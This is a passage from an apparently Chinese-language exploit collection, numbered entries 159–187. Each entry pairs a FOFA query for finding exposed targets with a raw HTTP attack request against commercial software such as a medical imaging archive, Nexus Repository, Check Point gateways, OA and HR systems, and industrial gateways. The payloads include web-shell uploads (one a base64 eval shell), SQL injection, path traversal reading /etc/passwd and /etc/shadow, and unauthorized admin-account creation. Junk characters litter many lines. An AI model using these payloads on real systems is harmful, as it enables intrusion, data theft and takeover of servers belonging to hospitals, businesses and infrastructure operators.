Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1

3 ^" y0 S1 _" O* ~5 y4 |; {- w
: \; v  b  w9 R. @159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
1 Q6 g: z! F3 o  s2 y6 G2 \- f8 NHost: x.x.x.x
( v* \& _5 i8 L4 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
+ B+ V# D+ C) D# _' GAccept-Encoding: gzip, deflate
( |6 y( Q7 c, Y" [Connection: close
$ W! T$ M" L- H+ ^7 \  EContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

  S! `. d# v/ y9 C% _2 [$ X<?xml version="1.0" encoding="utf-8"?>
) K  j; s: U' s+ \( n<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 d2 o. O" s8 T0 }7 y<soap:Body>
6 H' G( }+ u: p. Z* B<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
! g0 G! c8 E' Q$ S4 X0 ?4 e1 s7 p<subFolder></subFolder>
8 a- _( H1 S0 s5 j) x. l8 l, U<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
0 t% s; l2 E0 E# {, x- ^</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
0 [3 h- F0 K) @0 @2 Q6 P, |9 a
; {' d# i" x1 Q0 j2 `
' R+ z) h8 p: `/ w8 a7 A+ z& ~160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
' t; a5 |( Y- l+ i$ K6 R. NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
) N3 }' W$ G* P* u2 _/ ?Accept: */*
: K8 V2 E+ J5 L9 lAccept-Language: en
! T- h: M3 C. I+ XAccept-Encoding: gzip


$ j: P6 J% |% E" R2 x# b1 W8 @. _161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
3 T4 T' B9 q1 `3 LFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
. g7 A* x: l$ ^% z) o, B& i+ b+ C* nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
' p0 c% k# u- V" p: c# c: o( QContent-Length: 445
5 g+ Z% J( b  d0 N# k- K2 fContent-Type: text/xml
2 t* [/ ?7 c- U  sAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
3 c0 S, e- N) r<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+ R; {1 S, |, ]% o$ qxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
( K7 t( N# T/ e. M<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
4 U" K( c6 X$ H! z<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
# y2 \- q" L  J" c$ d<tag>3</tag>
: d' ?7 w7 H  ]' X/ Z8 s</UploadResume>
</soap:Body>
</soap:Envelope>
; }" S" B: F( L, f; K( v
- L# h- a- W" U7 x
# w1 R# U' D5 x+ qhttp://x.x.x.x/dizxdell.aspx
8 U' L- p( [, \+ ?" ]" E
6 H2 E& |5 ?) A* K! [! A162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
2 Q: w2 \5 o2 SFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
3 E* ?5 h  @8 u8 ]' hHost: x.x.x.x
3 V1 n+ c3 Y+ ~) C" W" H! _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
/ M% b( q. ^: y0 K3 y) ^Connection: close
3 y7 B: ]' \: f6 i, V8 \Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

% t1 b, N% S) F, o* D7 M6 F------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
8 h- f( Z4 ?4 _9 rContent-Type: application/octet-stream
: ?# n3 M3 V( O. [) U' g
  O( }* d4 K: Z8 ?<% response.write("ujidwqfuuqjalgkvrpqy") %>
- j7 s0 k) a( }  v* i8 X% r------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

( t6 q" @3 |* g* R4 dupload
------WebKitFormBoundaryeegvclmyurlotuey
5 ^& ^, J+ M) }) kContent-Disposition: form-data; name="responderId"

ResourceNewResponder
4 x& g8 ]/ F4 K6 y2 X------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
% s( A! F0 w  U, s# f------WebKitFormBoundaryeegvclmyurlotuey--

' E/ X3 d9 E0 l% u6 T
( d/ o3 h. M5 a$ j6 E4 z& s' |  i# uhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
+ x% G3 w4 y& @7 F( L1 ?7 MPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
3 L  g9 t2 i0 y2 [5 A( x( _3 Y* sHost: x.x.x.x
7 v3 I' b7 f. f5 F7 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
0 A, g; _& \0 s5 v! `1 d! C- zConnection: close
+ C  H9 ]! z- k2 |- f' NContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 h% g" V# _: p6 X6 v1 I0 `# _Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
- s- T& F0 F7 \1 H- D9 d* p8 g% }
" J1 I8 S6 |( s' c3 ~$ B( C( {- v------iiqvnofupvhdyrcoqyuujyetjvqgocod
/ N  R7 o5 Q% G1 _" _, p+ ?! ZContent-Disposition: form-data; name="name"
8 C' s# |+ P' t; j% U
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
8 C/ Q, |% ~& o* W( o2 F8 ?9 SContent-Type: image/jpeg
7 c  _; u0 s1 L" h) T3 _7 ?
rvjhvbhwwuooyiioxega
9 b; O0 z% u" j4 f* s' \9 E: Y------iiqvnofupvhdyrcoqyuujyetjvqgocod--
7 k; g% r  [; P& s# O
, z. V6 s0 d+ r9 b4 l
+ J! {9 r6 M  _' S' ^164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' ]5 ]- s1 f! |3 ZFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
/ n5 _  [  v4 J) Z- p, h% s8 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
" z8 Y) m7 w4 U0 t+ ]3 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
0 ~0 |/ N2 u2 K0 p5 q5 GContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
1 @- b' d# [; aX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
' N+ D5 J$ X3 h' S7 ]& _, x  Z
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
% @1 E9 z2 N2 R2 y, n; t
* ?; c9 Z! t; ^* [* D7 j5 O<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
- C% U4 X. M% [# Y
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
* X+ A6 T, a0 _0 KFOFA: app="OrangeHRM-产品"
5 i. F6 k/ r# Z: XURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


5 ]/ g% Y, ~& t166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
. C3 n% m* ?9 VCache-Control: no-cache
Upgrade-Insecure-Requests: 1
9 o9 ~2 n8 `  W. q' H3 m1 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
4 |% d, S1 Y; k+ w- K# i" \# bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 \! h, o, Y. o/ tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
5 n, I% D1 m. `! Z4 k8 lCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
* [+ B) @! e. CContent-Length: 89
$ _( Y3 K4 ^) T/ N4 i
+ T& V) y, n" r, Z4 U2 l' R; kMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

+ |* n) y3 N8 N$ v) j2 ^5 U
6 p. o! A0 u5 ]7 `  c0 i167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
+ ]' N" n, E8 R5 nGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
' c6 O# N% s9 S+ U6 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: m7 j% T1 u$ z! \' _: WContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
% }& y+ h$ e0 e. oAccept: */*
( R( L- \% j$ v: H6 hConnection: keep-alive
5 U9 Q7 B4 F  H$ X: ?- t

168. 宏景EHR OutputCode 任意文件读取
* f/ E0 O0 C0 B8 {' J/ YFOFA：app="HJSOFT-HCM"
. C5 d  M* @% B# y# T. S2 LGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
$ C. Q: V& e  V9 L& \- O  B# FHost: your-ip
8 t: T* L6 O: T( L, }3 i3 g' JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
7 E) A3 f/ T  h) {% a7 ~2 ]Content-Type: application/x-www-form-urlencoded
% |8 R' y* W/ g- |. H2 P: wConnection: close

& z0 C5 H7 B- b
: u8 J2 k( Z% _& o0 X3 `
" Y+ O  \# r' X6 L" K5 n169. 宏景EHR downlawbase SQL注入
1 t% ~5 ?6 n' U) N1 i. f1 \FOFA：app="HJSOFT-HCM"
3 I" f% w* ^- \" ?9 H1 EGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
5 h# P+ O' U; l" d9 ^; IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 r" m6 L  g; E4 WAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
7 _( @: {. J: X6 ?) n


. T- e- F5 Z. k170. 宏景EHR DisplayExcelCustomReport 任意文件读取
9 ?# Y) m* K2 q* w* NFOFA：body="/general/sys/hjaxmanage.js"
9 m' s% f9 ?, K+ q, MPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 b; u' R) J# R+ S% L4 `; v) l9 PContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
6 P' E5 b, u. K

3 }2 W( _) B0 d% M  C; A171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
4 q0 E8 y3 _* _0 TGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
7 p% b* u. l& P1 G( ^* RHost: your-ip
' c; m' i9 M8 W0 P- CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
, t7 C5 z0 ^" n; d) o  S- dAccept: */*
4 O" D! A+ B; M! Y0 h  R5 l% ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  o0 C: S# H0 \- A, f! u; jAccept-Encoding: gzip, deflate
! g: D! }" J  I5 {0 s) _9 N4 Q2 Z" ^Connection: close
. S  d6 @; v* Z4 S5 T: L, |
! a6 F! `3 U# x5 i, n

172. DT-高清车牌识别摄像机任意文件读取
- ?8 l7 h  E6 q& pFOFA：app="DT-高清车牌识别摄像机"
1 a6 h* h0 c  I4 I* }1 t  @4 ]GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
1 I& k& O$ G3 [& H) LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



4 k' V  D2 W! \8 _173. Check Point 安全网关任意文件读取
CVE-2024-24919
! V: w7 J% s1 ^' qFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
% h" U. ?) g: P6 r% R2 I3 aHost: your-ip
) v3 e0 [" f- J1 s. M1 UContent-Type: application/x-www-form-urlencoded
/ G6 i& c- _6 m
aCSHELL/../../../../../../../etc/shadow
3 q( D9 Z2 ^7 l5 d( G" ]


$ z+ G8 G" }9 [2 C* a174. 金和OA C6 FileDownLoad.aspx 任意文件读取
1 ~/ j" M; j" w0 ^( |  iFOFA：app="金和网络-金和OA"
; o0 Z! T- D# P; f7 E7 NGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
4 m# z8 Y1 w( ]+ `Host: your-ip
+ p0 C  U1 D& B- p; C% A+ }: ~0 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
3 F2 s3 z1 x# _9 l1 a8 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# A% b3 g% G4 Z5 q* c, cAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 z  T/ T& {7 D/ _3 f1 X, `6 q) s


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
: v2 [  ?0 i# y4 o5 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 w+ A1 ~# ~2 J5 HContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
# T) n0 T& \9 c7 T: cConnection: close
/ c! V7 H& ?$ T) Y6 z
------WebKitFormBoundaryOKldnDPT
. w3 Y( O  Y! P# AContent-Disposition: form-data; name="tmp_name"; filename="test.php"
0 D8 L/ x& H  e1 JContent-Type: image/png

2 I6 i& Y6 D  T! c5 a& P<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
$ i8 \+ z! x" w! q+ d+ h2 PContent-Disposition: form-data; name="uploadtime"
8 _3 n, P- s5 ?+ }" f7 k

: R, {! D% o& I8 r% z) S) S------WebKitFormBoundaryOKldnDPT--
9 ~$ ^$ g  F$ V( A) N, f


; b# i7 C8 g5 M. P. Y$ e7 n2 e177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
( D* u9 `& R( M, P$ A/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
+ [3 u. o3 b5 y% `/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
0 n( C, b9 C3 u& A, p7 m, d2 a/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
: S+ K% d( w/ u/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
, _: j3 S, |# `) \! i/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
7 q/ V  K( U% q, f/userLogin.asp/../actionpolicy_status/../ER3200.cfg
8 a8 d- j3 r& x  z* g) ^/ v& O5 T: c% M/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
# q' G. i' V& A0 H% ]1 i3 b/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
- `% E+ ?" ^4 M' ~/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
) [+ V, p# f6 N
6 X$ |/ K7 _4 @  F
/ V9 I* G5 Z1 ~% v9 B! T6 k; e178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
2 P) C5 p/ _5 c8 U3 ]7 Q! UPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
6 `* A4 j- F% k, oHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 s- b. e* C9 ^+ H6 C9 w+ RContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
' g6 W2 S3 o/ o! O# [Content-Length: 255

1 L( ^9 U) G# }8 W3 U12234
; E+ q; g) ?4 Q  R-----------------aqutkea7vvanpqy3rh2l--

5 x1 r; N( a' ?3 O; g- i
  P# i: {& n- e6 w! IGET /imc/primepush/%2e%2e/flex/12234.txt
5 L! @$ O, o3 T7 k; O

2 w. n% e. R0 Z5 i179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
% u: a; O% d4 `) h2 ~User-Agent: Mozilla/5.0

path=../log4net.config&Name=

: i$ a# m9 w$ D6 K: T* M! o$ l
: h/ y% K" w0 z1 Q5 ]180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
, y* O. |; e" |/ s) x. u. XGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 ^/ r4 I% N7 x, D9 B$ W$ n* u1 [Connection: close

+ X0 i$ U0 H: W9 U+ p3 L+ G; W
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! s) V5 U8 A8 U# u- _+ O: w! n: TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, H- k* ]3 w! i" M4 m5 j. S0 zAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- C- l; }, b- |Content-Type: application/x-www-form-urlencoded


0 }% e$ [/ o9 [- D6 u7 `( baction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
& b2 {' \% h3 w7 U8 e* ~( g0 o

% c/ e; l% M# V+ u# h# B182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
% H8 U8 Z/ A; ZPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
  ^: S. O8 J+ S5 b: C* e$ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
+ t$ T9 `. c6 A9 X/ QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* m+ M8 ~; M# I: _+ u+ C+ _Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
. w, {& `! V  N, j8 o2 [Connection: close
Content-Type: application/x-www-form-urlencoded
1 R/ {* X: e- {3 z+ l

username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
9 q2 y* u, \5 ~, H9 l. ZFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
1 N0 Y  x  H2 p% h: wGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
; S- {# e6 I# R  u8 i% w  YUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
# ^, U3 ]: A% m; I+ v6 i: iAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
7 [, [8 g& C7 c! c2 B$ C

& k: ~& F3 @/ ^8 d; C184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
5 R& |6 i  F0 x+ |! d3 V9 j! _0 _FOFA：server="SunFull-Webs"
' }( x7 j1 @" B" g% ~$ U7 G+ C" n& XPOST /soap/AddUser HTTP/1.1
% C8 y3 r( Z6 R  ~# A! @Host: your-ip
& m$ |. S6 M1 ^2 B# |; HAccept-Encoding: gzip, deflate
2 C/ |& ?$ R' A& S3 z6 d2 v! ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
0 ]4 r# L, i6 h+ VAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
, z: ^- T8 P1 a- ~. @+ U( _0 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ \* u) Y, M) FX-Requested-With: XMLHttpRequest
2 j* E. c6 H: \" R; Q9 f

: s- A, |" K9 Z# o0 c$ Einsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


; c0 ?8 k5 t9 ^  w$ K6 z8 M3 @, F9 w# U185. 瑞友天翼应用虚拟化系统SQL注入
1 K& N9 U: X% ~" Pversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
* w( \1 @* D' R& S9 dGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
# W: r* a' _9 g3 q

186. F-logic DataCube3 SQL注入
4 [( J9 `$ |6 Y6 l) n/ C# MCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
$ J$ c3 n: k/ dPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
: M/ @. L3 U+ E( m* _: P2 d) `Host: your-ip
8 O8 }2 S1 m3 c+ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
5 E! n2 ?$ R" ]) R& J! sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ w4 p$ F5 U) \% NAccept-Encoding: gzip, deflate
9 Q+ ?1 F& R" ]Connection: close
$ E; e* M0 n' uContent-Type: application/x-www-form-urlencoded

+ j4 k2 b- N" N3 W( h/ ^req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

& ?" B5 {5 \% a
: `* r1 R9 r  K" t: M187. Mura CMS processAsyncObject SQL注入
" {* C3 y! X: G  X6 a; GCVE-2024-32640
( F; Q# S1 q  M; G  a+ D. [FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
) O- g: X2 Y. {6 p5 RHost: your-ip
Content-Type: application/x-www-form-urlencoded
